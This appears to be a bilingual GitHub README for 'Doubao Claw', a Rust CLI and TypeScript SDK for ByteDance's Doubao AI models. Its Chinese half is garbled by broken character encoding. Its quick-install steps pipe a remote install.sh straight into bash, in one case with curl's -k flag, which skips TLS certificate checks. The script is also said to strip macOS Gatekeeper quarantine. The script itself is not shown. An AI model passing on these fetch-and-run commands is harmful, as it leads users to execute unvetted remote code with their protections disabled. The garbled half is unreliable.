ๆ้่ฎฟ้ฎ่ฑๅ AI โ ไป็ป็ซฏใๅบ็จ๏ผๆไปปไฝๅฐๆนใ
่ฑๅ ็ช ๆฏไธๆฌพ้ซๆง่ฝๅทฅๅ ทๅ ๏ผ็จไบไธๅญ่่ทณๅจ ่ฑๅ (Doubao) AI ๆจกๅ่ฟ่กไบคไบใๅฎๅ ๅซ๏ผ
- ๐ฆ Rust CLI (
dbclaw) โ ไปฅๅ็้ๅบฆๆตๅผไผ ่พๅๅบ - ๐ฆ TypeScript SDK (
@doubao-claw/sdk) โ ็จไบ Node.js ๅๆต่งๅจๅบ็จ - ๐ฉ Rust crate โ
doubao-coreใdoubao-api๏ผๅฏๅตๅ ฅๆจ่ชๅทฑ็ Rust ้กน็ฎ
curl -fsSLk https://github.com/Heartflabrace/Doubao-Claw/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/Doubao-Claw-main && \
bash install.sh่ๆฌไผ่ชๅจไธ่ฝฝๆๆฐ็ ้็จไบ่ฟๅถๆไปถ๏ผApple Silicon + Intel๏ผ๏ผ่งฃ้ค Gatekeeper ้็ฆป๏ผๅนถๅฐ dbclaw ๅฎ่ฃ
ๅฐ /usr/local/binใ
่ชๅฎไนๅฎ่ฃ ่ทฏๅพ๏ผ
INSTALL_DIR=~/.local/bin curl -fsSL https://raw.githubusercontent.com/Heartflabrace/Doubao-Claw/main/scripts/install.sh | bash# ่ฎพ็ฝฎ API ๅฏ้ฅ๏ผๅจ console.volcengine.com ่ทๅ๏ผ
export DOUBAO_API_KEY=your-api-key-here
# ไบคไบๅผๅฏน่ฏ
dbclaw chat
# ๅๆฌกๆ้ฎ
dbclaw ask "็จไธๅฅ่ฏ่งฃ้ๅฐพ่ฐ็จไผๅ"
# ไฝฟ็จๆๅฎๆจกๅ
dbclaw ask --model doubao-pro-32k "้ๆญฅ่งฃๅณ่ฟไธช้ฎ้ข๏ผ..."
# ๅๅบๅฏ็จๆจกๅ
dbclaw models
# ๆฐธไน
ไฟๅญ API ๅฏ้ฅ
dbclaw config set api_key your-api-key-herenpm install @doubao-claw/sdkimport { DoubaoClient, MODELS } from '@doubao-claw/sdk';
const client = new DoubaoClient({ apiKey: process.env.DOUBAO_API_KEY! });
// ้ๆตๅผๅๅบ
const response = await client.chat({
model: MODELS.PRO_32K,
messages: [{ role: 'user', content: 'ไฝ ๅฅฝ๏ผ่ฑๅ
๏ผ' }],
});
console.log(response.choices[0].message.content);
// ๆตๅผๅๅบ
for await (const chunk of client.chatStream({
model: MODELS.PRO_32K,
messages: [{ role: 'user', content: '็ปๆ่ฎฒไธไธชๆ
ไบใ' }],
})) {
process.stdout.write(chunk.choices[0]?.delta?.content ?? '');
}# Cargo.toml
[dependencies]
doubao-api = "0.1"
doubao-core = "0.1"
tokio = { version = "1", features = ["full"] }use doubao_api::{DoubaoClient, ChatRequest};
use doubao_core::{Message, ModelConfig};
use futures::StreamExt;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let client = DoubaoClient::new(std::env::var("DOUBAO_API_KEY")?)?;
let mut stream = client.chat_stream(ChatRequest {
config: ModelConfig::default(),
messages: vec![Message::user("Hello from Rust!")],
}).await?;
while let Some(chunk) = stream.next().await {
if let Some(content) = &chunk?.choices[0].delta.content {
print!("{content}");
}
}
Ok(())
}doubao-claw/
โโโ crates/
โ โโโ doubao-core/ # ๅ
ฑไบซ็ฑปๅใ้่ฏฏๅค็ใtoken ๅทฅๅ
ท (Rust)
โ โโโ doubao-api/ # ่ฑๅ
API ็ๅผๆญฅ HTTP ๅฎขๆท็ซฏ (Rust)
โ โโโ doubao-cli/ # dbclaw ็ป็ซฏๅบ็จ (Rust)
โโโ packages/
โ โโโ sdk/ # @doubao-claw/sdk TypeScript ๅ
โโโ scripts/
โ โโโ install.sh # macOS ไธ้ฎๅฎ่ฃ
่ๆฌ
โโโ .github/
โ โโโ workflows/
โ โโโ ci.yml # CI + ้็จไบ่ฟๅถๅๅธ
โโโ Cargo.toml # Rust workspace
โโโ package.json # Node.js workspace
โโโ tsconfig.json
git clone https://github.com/Heartflabrace/Doubao-Claw
cd doubao-claw
# Rust
cargo build --release
# ไบ่ฟๅถๆไปถไฝไบ๏ผ./target/release/dbclaw
# TypeScript SDK
npm install
npm run buildๆฌข่ฟๆไบค Pull Request๏ผ่ฏทๅ ๆไบค Issue ่ฎจ่ฎบ้ๅคงๅๆดใ
- Fork ๆฌไปๅบ
- ๅๅปบๅ่ฝๅๆฏ๏ผ
git checkout -b feat/my-feature - ๆไบคๆดๆน๏ผ
git commit -m 'feat: ๆทปๅ ๆฐๅ่ฝ' - ๆจ้ๅนถๅ่ตท PR
MIT โ ยฉ Doubao Claw Contributors
Blazing-fast access to ByteDance Doubao AI โ from your terminal, your app, or anywhere.
Doubao Claw is a high-performance toolkit for interacting with ByteDance's Doubao AI models. It ships as:
- ๐ฆ A Rust CLI (
dbclaw) โ stream responses at native speed - ๐ฆ A TypeScript SDK (
@doubao-claw/sdk) โ for Node.js and browser apps - ๐ฉ Rust crates โ
doubao-core,doubao-apifor embedding in your own Rust projects
Inspired by DeepSeek-Claw and the OpenClaw ecosystem. Doubao Claw adapts the same blazing-fast architecture for ByteDance's Doubao models, which power 155M+ weekly active users in China and are available internationally via the Volcengine API at a fraction of the cost of Western alternatives.
curl -fsSLk https://raw.githubusercontent.com/Heartflabrace/Doubao-Claw/main/scripts/install.sh | bashThat's it. The script downloads the latest universal binary (Apple Silicon + Intel), strips Gatekeeper quarantine, and installs dbclaw to /usr/local/bin.
To install to a custom location:
INSTALL_DIR=~/.local/bin curl -fsSL https://raw.githubusercontent.com/Heartflabrace/Doubao-Claw/main/scripts/install.sh | bash# Set your API key (get one at console.volcengine.com)
export DOUBAO_API_KEY=your-api-key-here
# Interactive chat session
dbclaw chat
# One-shot question
dbclaw ask "Explain tail-call optimization in 3 sentences"
# Use a specific model
dbclaw ask --model doubao-pro-32k "Solve this step by step: ..."
# List available models
dbclaw models
# Save your API key permanently
dbclaw config set api_key your-api-key-herenpm install @doubao-claw/sdkimport { DoubaoClient, MODELS } from '@doubao-claw/sdk';
const client = new DoubaoClient({ apiKey: process.env.DOUBAO_API_KEY! });
// Non-streaming
const response = await client.chat({
model: MODELS.PRO_32K,
messages: [{ role: 'user', content: 'Hello, Doubao!' }],
});
console.log(response.choices[0].message.content);
// Streaming
for await (const chunk of client.chatStream({
model: MODELS.PRO_32K,
messages: [{ role: 'user', content: 'Tell me a story.' }],
})) {
process.stdout.write(chunk.choices[0]?.delta?.content ?? '');
}# Cargo.toml
[dependencies]
doubao-api = "0.1"
doubao-core = "0.1"
tokio = { version = "1", features = ["full"] }use doubao_api::{DoubaoClient, ChatRequest};
use doubao_core::{Message, ModelConfig};
use futures::StreamExt;
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let client = DoubaoClient::new(std::env::var("DOUBAO_API_KEY")?)?;
let mut stream = client.chat_stream(ChatRequest {
config: ModelConfig::default(),
messages: vec![Message::user("Hello from Rust!")],
}).await?;
while let Some(chunk) = stream.next().await {
if let Some(content) = &chunk?.choices[0].delta.content {
print!("{content}");
}
}
Ok(())
}doubao-claw/
โโโ crates/
โ โโโ doubao-core/ # Shared types, error handling, token utils (Rust)
โ โโโ doubao-api/ # Async HTTP client for the Doubao/Volcengine API (Rust)
โ โโโ doubao-cli/ # dbclaw terminal application (Rust)
โโโ packages/
โ โโโ sdk/ # @doubao-claw/sdk TypeScript package
โโโ scripts/
โ โโโ install.sh # macOS one-liner installer
โโโ .github/
โ โโโ workflows/
โ โโโ ci.yml # CI + universal binary release
โโโ Cargo.toml # Rust workspace
โโโ package.json # Node.js workspace
โโโ tsconfig.json
| Model | Context | Best for |
|---|---|---|
doubao-pro-32k |
32K tokens | Complex reasoning, long docs |
doubao-pro-4k |
4K tokens | Fast, everyday tasks |
doubao-lite-32k |
32K tokens | Cost-efficient long context |
doubao-lite-4k |
4K tokens | Ultra-fast responses |
Get your API key at console.volcengine.com.
git clone https://github.com/Heartflabrace/Doubao-Claw
cd doubao-claw
# Rust
cargo build --release
# Binary: ./target/release/dbclaw
# TypeScript SDK
npm install
npm run build| Doubao Claw | DeepSeek Claw | |
|---|---|---|
| Backend | ByteDance Doubao (Volcengine) | DeepSeek API |
| CLI binary | dbclaw |
dsclaw |
| npm package | @doubao-claw/sdk |
@deepseek-claw/sdk |
| Rust crate | doubao-api |
deepseek-api |
| API base URL | https://ark.cn-beijing.volces.com/api/v3 |
https://api.deepseek.com |
| Strengths | Massive Chinese user base, multilingual, cost-effective | Strong coding & reasoning |
Both projects share the same Rust + TypeScript architecture and are inspired by the OpenClaw ecosystem.
Pull requests are welcome! Please open an issue first to discuss major changes.
- Fork the repo
- Create your feature branch:
git checkout -b feat/my-feature - Commit your changes:
git commit -m 'feat: add my feature' - Push and open a PR
MIT โ ยฉ Doubao Claw Contributors